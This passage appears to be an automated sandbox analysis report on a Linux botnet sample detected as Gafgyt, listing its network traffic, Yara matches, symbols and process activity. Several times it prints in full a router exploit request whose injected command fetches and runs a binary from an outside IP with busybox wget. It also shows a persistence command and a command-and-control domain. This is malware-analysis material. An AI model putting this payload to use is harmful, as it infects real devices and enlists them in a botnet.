55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 103.238.235.163 -l /tmp/.oxy -r /mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 458Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 33 2e 32 33 38 2e 32 33 35 2e 31 36 33 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f 2e 6f 78 79 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 103.238.235.163 -l /tmp/.oxy -r /mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Source: global traffic

TCP traffic: 192.168.2.14:46540 -> 185.125.190.26:443

Source: unknown	TCP traffic detected without corresponding DNS query: 2.138.219.53
Source: unknown	TCP traffic detected without corresponding DNS query: 171.189.230.58
Source: unknown	TCP traffic detected without corresponding DNS query: 41.15.250.54
Source: unknown	TCP traffic detected without corresponding DNS query: 197.82.231.104
Source: unknown	TCP traffic detected without corresponding DNS query: 41.102.235.147
Source: unknown	TCP traffic detected without corresponding DNS query: 41.243.78.48
Source: unknown	TCP traffic detected without corresponding DNS query: 222.142.83.55
Source: unknown	TCP traffic detected without corresponding DNS query: 197.95.7.206
Source: unknown	TCP traffic detected without corresponding DNS query: 41.236.40.252
Source: unknown	TCP traffic detected without corresponding DNS query: 157.121.143.74
Source: unknown	TCP traffic detected without corresponding DNS query: 41.219.67.173
Source: unknown	TCP traffic detected without corresponding DNS query: 41.147.162.230
Source: unknown	TCP traffic detected without corresponding DNS query: 41.55.124.183
Source: unknown	TCP traffic detected without corresponding DNS query: 196.207.169.224
Source: unknown	TCP traffic detected without corresponding DNS query: 41.134.51.115
Source: unknown	TCP traffic detected without corresponding DNS query: 41.190.123.131
Source: unknown	TCP traffic detected without corresponding DNS query: 157.51.252.216
Source: unknown	TCP traffic detected without corresponding DNS query: 41.59.74.157
Source: unknown	TCP traffic detected without corresponding DNS query: 41.37.124.216
Source: unknown	TCP traffic detected without corresponding DNS query: 182.53.203.199
Source: unknown	TCP traffic detected without corresponding DNS query: 157.252.179.4
Source: unknown	TCP traffic detected without corresponding DNS query: 157.87.117.169
Source: unknown	TCP traffic detected without corresponding DNS query: 67.173.236.255
Source: unknown	TCP traffic detected without corresponding DNS query: 164.63.63.103
Source: unknown	TCP traffic detected without corresponding DNS query: 157.247.173.232
Source: unknown	TCP traffic detected without corresponding DNS query: 197.251.68.85
Source: unknown	TCP traffic detected without corresponding DNS query: 136.209.131.27
Source: unknown	TCP traffic detected without corresponding DNS query: 60.255.178.57
Source: unknown	TCP traffic detected without corresponding DNS query: 197.37.11.189
Source: unknown	TCP traffic detected without corresponding DNS query: 197.171.29.163
Source: unknown	TCP traffic detected without corresponding DNS query: 197.52.238.43
Source: unknown	TCP traffic detected without corresponding DNS query: 41.205.131.121
Source: unknown	TCP traffic detected without corresponding DNS query: 38.93.44.240
Source: unknown	TCP traffic detected without corresponding DNS query: 41.189.13.212
Source: unknown	TCP traffic detected without corresponding DNS query: 197.206.139.104
Source: unknown	TCP traffic detected without corresponding DNS query: 184.46.233.237
Source: unknown	TCP traffic detected without corresponding DNS query: 157.194.219.212
Source: unknown	TCP traffic detected without corresponding DNS query: 197.91.38.97
Source: unknown	TCP traffic detected without corresponding DNS query: 157.220.82.146
Source: unknown	TCP traffic detected without corresponding DNS query: 107.106.86.9
Source: unknown	TCP traffic detected without corresponding DNS query: 197.190.55.55
Source: unknown	TCP traffic detected without corresponding DNS query: 197.13.177.97
Source: unknown	TCP traffic detected without corresponding DNS query: 99.216.115.116
Source: unknown	TCP traffic detected without corresponding DNS query: 177.186.243.242
Source: unknown	TCP traffic detected without corresponding DNS query: 41.183.144.125
Source: unknown	TCP traffic detected without corresponding DNS query: 197.42.176.105
Source: unknown	TCP traffic detected without corresponding DNS query: 197.237.103.241
Source: unknown	TCP traffic detected without corresponding DNS query: 147.211.62.145
Source: unknown	TCP traffic detected without corresponding DNS query: 157.108.49.207
Source: unknown	TCP traffic detected without corresponding DNS query: 157.102.148.103

Source: global traffic

DNS traffic detected: DNS query: khongphaibotnet.servehttp.com

Source: unknown

HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 458Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 33 2e 32 33 38 2e 32 33 35 2e 31 36 33 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f 2e 6f 78 79 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 103.238.235.163 -l /tmp/.oxy -r /mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Source: bykReYf85u.elf	String found in binary or memory: http://schemas.xmlsoap.org/soap/encoding/
Source: bykReYf85u.elf	String found in binary or memory: http://schemas.xmlsoap.org/soap/envelope/

Source: unknown

Network traffic detected: HTTP traffic on port 46540 -> 443

System Summary

Malicious sample detected (through community Yara rule)

Source: bykReYf85u.elf, type: SAMPLE	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown
Source: 5484.1.00007fa5c0001000.00007fa5c0015000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown
Source: Process Memory Space: bykReYf85u.elf PID: 5484, type: MEMORYSTR	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown

Contains symbols with names commonly found in malware

Source: ELF static info symbol of initial sample	Name: attack.c
Source: ELF static info symbol of initial sample	Name: attack_get_opt_int
Source: ELF static info symbol of initial sample	Name: attack_get_opt_ip
Source: ELF static info symbol of initial sample	Name: attack_init
Source: ELF static info symbol of initial sample	Name: attack_kill_all
Source: ELF static info symbol of initial sample	Name: attack_method_nudp
Source: ELF static info symbol of initial sample	Name: attack_method_stdhex
Source: ELF static info symbol of initial sample	Name: attack_method_tcp
Source: ELF static info symbol of initial sample	Name: attack_ongoing
Source: ELF static info symbol of initial sample	Name: attack_parse

Source: bykReYf85u.elf	ELF static info symbol of initial sample: hexPayload
Source: bykReYf85u.elf	ELF static info symbol of initial sample: huawei_scanner_pid
Source: bykReYf85u.elf	ELF static info symbol of initial sample: huawei_scanner_rawpkt

Source: Initial sample	String containing 'busybox' found: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 103.238.235.163 -l /tmp/.oxy -r /mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: Initial sample	String containing 'busybox' found: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 103.238.235.163 -l /tmp/.oxy -r /mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>POST /ctrlt/DeviceUpgrade_1 HTTP/1.1
Source: Initial sample	String containing 'busybox' found: bin/busybox
Source: Initial sample	String containing 'busybox' found: /bin/busybox
Source: Initial sample	String containing 'busybox' found: f%s:%dwebservbinbin/busyboxbin/watchdogbin/systemd/bin/busybox/bin/watchdog/bin/systemd

Source: bykReYf85u.elf, type: SAMPLE	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = a2c6beaec18ca876e8487c11bcc7a29279669588aacb7d3027d8d8df8f5bcead, id = 28a2fe0c-eed5-4c79-81e6-3b11b73a4ebd, last_modified = 2021-09-16
Source: 5484.1.00007fa5c0001000.00007fa5c0015000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = a2c6beaec18ca876e8487c11bcc7a29279669588aacb7d3027d8d8df8f5bcead, id = 28a2fe0c-eed5-4c79-81e6-3b11b73a4ebd, last_modified = 2021-09-16
Source: Process Memory Space: bykReYf85u.elf PID: 5484, type: MEMORYSTR	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = a2c6beaec18ca876e8487c11bcc7a29279669588aacb7d3027d8d8df8f5bcead, id = 28a2fe0c-eed5-4c79-81e6-3b11b73a4ebd, last_modified = 2021-09-16

Source: classification engine

Classification label: mal100.troj.linELF@0/0@20/0

Source: /tmp/bykReYf85u.elf (PID: 5494)	File opened: /proc/3761/cmdline	Jump to behavior
Source: /tmp/bykReYf85u.elf (PID: 5494)	File opened: /proc/1583/cmdline	Jump to behavior
Source: /tmp/bykReYf85u.elf (PID: 5494)	File opened: /proc/2672/cmdline	Jump to behavior
Source: /tmp/bykReYf85u.elf (PID: 5494)	File opened: /proc/110/cmdline	Jump to behavior
Source: /tmp/bykReYf85u.elf (PID: 5494)	File opened: /proc/111/cmdline	Jump to behavior
Source: /tmp/bykReYf85u.elf (PID: 5494)	File opened: /proc/112/cmdline	Jump to behavior
Source: /tmp/bykReYf85u.elf (PID: 5494)	File opened: /proc/113/cmdline	Jump to behavior
Source: /tmp/bykReYf85u.elf (PID: 5494)	File opened: /proc/234/cmdline	Jump to behavior
Source: /tmp/bykReYf85u.elf (PID: 5494)	File opened: /proc/1577/cmdline	Jump to behavior
Source: /tmp/bykReYf85u.elf (PID: 5494)	File opened: /proc/114/cmdline	Jump to behavior
Source: /tmp/bykReYf85u.elf (PID: 5494)	File opened: /proc/235/cmdline	Jump to behavior
Source: /tmp/bykReYf85u.elf (PID: 5494)	File opened: /proc/115/cmdline	Jump to behavior
Source: /tmp/bykReYf85u.elf (PID: 5494)	File opened: /proc/116/cmdline	Jump to behavior
Source: /tmp/bykReYf85u.elf (PID: 5494)	File opened: /proc/117/cmdline	Jump to behavior
Source: /tmp/bykReYf85u.elf (PID: 5494)	File opened: /proc/118/cmdline	Jump to behavior
Source: /tmp/bykReYf85u.elf (PID: 5494)	File opened: /proc/119/cmdline	Jump to behavior
Source: /tmp/bykReYf85u.elf (PID: 5494)	File opened: /proc/10/cmdline	Jump to behavior
Source: /tmp/bykReYf85u.elf (PID: 5494)	File opened: /proc/917/cmdline	Jump to behavior
Source: /tmp/bykReYf85u.elf (PID: 5494)	File opened: /proc/11/cmdline	Jump to behavior
Source: /tmp/bykReYf85u.elf (PID: 5494)	File opened: /proc/12/cmdline	Jump to behavior
Source: /tmp/bykReYf85u.elf (PID: 5494)	File opened: /proc/13/cmdline	Jump to behavior
Source: /tmp/bykReYf85u.elf (PID: 5494)	File opened: /proc/14/cmdline	Jump to behavior
Source: /tmp/bykReYf85u.elf (PID: 5494)	File opened: /proc/15/cmdline	Jump to behavior
Source: /tmp/bykReYf85u.elf (PID: 5494)	File opened: /proc/16/cmdline	Jump to behavior
Source: /tmp/bykReYf85u.elf (PID: 5494)	File opened: /proc/17/cmdline	Jump to behavior
Source: /tmp/bykReYf85u.elf (PID: 5494)	File opened: /proc/18/cmdline	Jump to behavior
Source: /tmp/bykReYf85u.elf (PID: 5494)	File opened: /proc/19/cmdline	Jump to behavior
Source: /tmp/bykReYf85u.elf (PID: 5494)	File opened: /proc/1593/cmdline	Jump to behavior
Source: /tmp/bykReYf85u.elf (PID: 5494)	File opened: /proc/240/cmdline	Jump to behavior
Source: /tmp/bykReYf85u.elf (PID: 5494)	File opened: /proc/120/cmdline	Jump to behavior
Source: /tmp/bykReYf85u.elf (PID: 5494)	File opened: /proc/3094/cmdline	Jump to behavior
Source: /tmp/bykReYf85u.elf (PID: 5494)	File opened: /proc/121/cmdline	Jump to behavior
Source: /tmp/bykReYf85u.elf (PID: 5494)	File opened: /proc/242/cmdline	Jump to behavior
Source: /tmp/bykReYf85u.elf (PID: 5494)	File opened: /proc/3406/cmdline	Jump to behavior
Source: /tmp/bykReYf85u.elf (PID: 5494)	File opened: /proc/1/cmdline	Jump to behavior
Source: /tmp/bykReYf85u.elf (PID: 5494)	File opened: /proc/122/cmdline	Jump to behavior
Source: /tmp/bykReYf85u.elf (PID: 5494)	File opened: /proc/243/cmdline	Jump to behavior
Source: /tmp/bykReYf85u.elf (PID: 5494)	File opened: /proc/2/cmdline	Jump to behavior
Source: /tmp/bykReYf85u.elf (PID: 5494)	File opened: /proc/123/cmdline	Jump to behavior
Source: /tmp/bykReYf85u.elf (PID: 5494)	File opened: /proc/244/cmdline	Jump to behavior
Source: /tmp/bykReYf85u.elf (PID: 5494)	File opened: /proc/1589/cmdline	Jump to behavior
Source: /tmp/bykReYf85u.elf (PID: 5494)	File opened: /proc/3/cmdline	Jump to behavior
Source: /tmp/bykReYf85u.elf (PID: 5494)	File opened: /proc/124/cmdline	Jump to behavior
Source: /tmp/bykReYf85u.elf (PID: 5494)	File opened: /proc/245/cmdline	Jump to behavior
Source: /tmp/bykReYf85u.elf (PID: 5494)	File opened: /proc/1588/cmdline	Jump to behavior
Source: /tmp/bykReYf85u.elf (PID: 5494)	File opened: /proc/125/cmdline	Jump to behavior
Source: /tmp/bykReYf85u.elf (PID: 5494)	File opened: /proc/4/cmdline	Jump to behavior
Source: /tmp/bykReYf85u.elf (PID: 5494)	File opened: /proc/246/cmdline	Jump to behavior
Source: /tmp/bykReYf85u.elf (PID: 5494)	File opened: /proc/3402/cmdline	Jump to behavior
Source: /tmp/bykReYf85u.elf (PID: 5494)	File opened: /proc/126/cmdline	Jump to behavior
Source: /tmp/bykReYf85u.elf (PID: 5494)	File opened: /proc/5/cmdline	Jump to behavior
Source: /tmp/bykReYf85u.elf (PID: 5494)	File opened: /proc/247/cmdline	Jump to behavior
Source: /tmp/bykReYf85u.elf (PID: 5494)	File opened: /proc/127/cmdline	Jump to behavior
Source: /tmp/bykReYf85u.elf (PID: 5494)	File opened: /proc/6/cmdline	Jump to behavior
Source: /tmp/bykReYf85u.elf (PID: 5494)	File opened: /proc/248/cmdline	Jump to behavior
Source: /tmp/bykReYf85u.elf (PID: 5494)	File opened: /proc/128/cmdline	Jump to behavior
Source: /tmp/bykReYf85u.elf (PID: 5494)	File opened: /proc/7/cmdline	Jump to behavior
Source: /tmp/bykReYf85u.elf (PID: 5494)	File opened: /proc/249/cmdline	Jump to behavior
Source: /tmp/bykReYf85u.elf (PID: 5494)	File opened: /proc/8/cmdline	Jump to behavior
Source: /tmp/bykReYf85u.elf (PID: 5494)	File opened: /proc/129/cmdline	Jump to behavior
Source: /tmp/bykReYf85u.elf (PID: 5494)	File opened: /proc/800/cmdline	Jump to behavior
Source: /tmp/bykReYf85u.elf (PID: 5494)	File opened: /proc/3762/cmdline	Jump to behavior
Source: /tmp/bykReYf85u.elf (PID: 5494)	File opened: /proc/9/cmdline	Jump to behavior
Source: /tmp/bykReYf85u.elf (PID: 5494)	File opened: /proc/801/cmdline	Jump to behavior
Source: /tmp/bykReYf85u.elf (PID: 5494)	File opened: /proc/3763/cmdline	Jump to behavior
Source: /tmp/bykReYf85u.elf (PID: 5494)	File opened: /proc/3764/cmdline	Jump to behavior
Source: /tmp/bykReYf85u.elf (PID: 5494)	File opened: /proc/803/cmdline	Jump to behavior
Source: /tmp/bykReYf85u.elf (PID: 5494)	File opened: /proc/20/cmdline	Jump to behavior
Source: /tmp/bykReYf85u.elf (PID: 5494)	File opened: /proc/806/cmdline	Jump to behavior
Source: /tmp/bykReYf85u.elf (PID: 5494)	File opened: /proc/21/cmdline	Jump to behavior
Source: /tmp/bykReYf85u.elf (PID: 5494)	File opened: /proc/807/cmdline	Jump to behavior
Source: /tmp/bykReYf85u.elf (PID: 5494)	File opened: /proc/928/cmdline	Jump to behavior
Source: /tmp/bykReYf85u.elf (PID: 5494)	File opened: /proc/22/cmdline	Jump to behavior
Source: /tmp/bykReYf85u.elf (PID: 5494)	File opened: /proc/23/cmdline	Jump to behavior
Source: /tmp/bykReYf85u.elf (PID: 5494)	File opened: /proc/24/cmdline	Jump to behavior
Source: /tmp/bykReYf85u.elf (PID: 5494)	File opened: /proc/25/cmdline	Jump to behavior
Source: /tmp/bykReYf85u.elf (PID: 5494)	File opened: /proc/26/cmdline	Jump to behavior
Source: /tmp/bykReYf85u.elf (PID: 5494)	File opened: /proc/27/cmdline	Jump to behavior
Source: /tmp/bykReYf85u.elf (PID: 5494)	File opened: /proc/28/cmdline	Jump to behavior
Source: /tmp/bykReYf85u.elf (PID: 5494)	File opened: /proc/29/cmdline	Jump to behavior
Source: /tmp/bykReYf85u.elf (PID: 5494)	File opened: /proc/3420/cmdline	Jump to behavior
Source: /tmp/bykReYf85u.elf (PID: 5494)	File opened: /proc/490/cmdline	Jump to behavior
Source: /tmp/bykReYf85u.elf (PID: 5494)	File opened: /proc/250/cmdline	Jump to behavior
Source: /tmp/bykReYf85u.elf (PID: 5494)	File opened: /proc/130/cmdline	Jump to behavior
Source: /tmp/bykReYf85u.elf (PID: 5494)	File opened: /proc/251/cmdline	Jump to behavior
Source: /tmp/bykReYf85u.elf (PID: 5494)	File opened: /proc/131/cmdline	Jump to behavior
Source: /tmp/bykReYf85u.elf (PID: 5494)	File opened: /proc/252/cmdline	Jump to behavior
Source: /tmp/bykReYf85u.elf (PID: 5494)	File opened: /proc/132/cmdline	Jump to behavior
Source: /tmp/bykReYf85u.elf (PID: 5494)	File opened: /proc/253/cmdline	Jump to behavior
Source: /tmp/bykReYf85u.elf (PID: 5494)	File opened: /proc/254/cmdline	Jump to behavior
Source: /tmp/bykReYf85u.elf (PID: 5494)	File opened: /proc/255/cmdline	Jump to behavior
Source: /tmp/bykReYf85u.elf (PID: 5494)	File opened: /proc/135/cmdline	Jump to behavior
Source: /tmp/bykReYf85u.elf (PID: 5494)	File opened: /proc/256/cmdline	Jump to behavior
Source: /tmp/bykReYf85u.elf (PID: 5494)	File opened: /proc/1599/cmdline	Jump to behavior
Source: /tmp/bykReYf85u.elf (PID: 5494)	File opened: /proc/257/cmdline	Jump to behavior
Source: /tmp/bykReYf85u.elf (PID: 5494)	File opened: /proc/378/cmdline	Jump to behavior
Source: /tmp/bykReYf85u.elf (PID: 5494)	File opened: /proc/258/cmdline	Jump to behavior
Source: /tmp/bykReYf85u.elf (PID: 5494)	File opened: /proc/3412/cmdline	Jump to behavior
Source: /tmp/bykReYf85u.elf (PID: 5494)	File opened: /proc/259/cmdline	Jump to behavior
Source: /tmp/bykReYf85u.elf (PID: 5494)	File opened: /proc/30/cmdline	Jump to behavior
Source: /tmp/bykReYf85u.elf (PID: 5494)	File opened: /proc/35/cmdline	Jump to behavior
Source: /tmp/bykReYf85u.elf (PID: 5494)	File opened: /proc/1371/cmdline	Jump to behavior
Source: /tmp/bykReYf85u.elf (PID: 5494)	File opened: /proc/260/cmdline	Jump to behavior
Source: /tmp/bykReYf85u.elf (PID: 5494)	File opened: /proc/261/cmdline	Jump to behavior
Source: /tmp/bykReYf85u.elf (PID: 5494)	File opened: /proc/262/cmdline	Jump to behavior

Source: /tmp/bykReYf85u.elf (PID: 5486)

Shell command executed: /bin/sh -c "rm -rf bin/watchdog && mkdir bin; >bin/watchdog && mv /tmp/bykReYf85u.elf bin/watchdog; chmod 777 bin/watchdog"

Jump to behavior

Source: /bin/sh (PID: 5491)

Chmod executable: /usr/bin/chmod -> chmod 777 bin/watchdog

Jump to behavior

Source: /bin/sh (PID: 5489)

Mkdir executable: /usr/bin/mkdir -> mkdir bin

Jump to behavior

Source: /bin/sh (PID: 5488)

Rm executable: /usr/bin/rm -> rm -rf bin/watchdog

Jump to behavior

Source: /usr/bin/chmod (PID: 5491)

File: /tmp/bin/watchdog (bits: - usr: rwx grp: rwx all: rwx)

Jump to behavior

Source: /bin/sh (PID: 5491)

Chmod executable with 777: /usr/bin/chmod -> chmod 777 bin/watchdog

Jump to behavior

Hooking and other Techniques for Hiding and Protection

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 44338 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51144 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46340 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43924 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46202 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58748 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43680 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60640 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53386 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36174 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59862 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48754 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40756 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43508 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49990 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45878 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35902 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39712 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40034 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44668 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33270 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46180 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57910 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60540 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55514 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42652 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52344 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33716 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36864 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38800 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59860 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59278 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45976 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33474 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39804 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39524 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55634 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53402 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50420 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33660 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51244 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38260 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36160 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59474 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35338 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36242 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44410 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56542 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48538 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39250 -> 37215
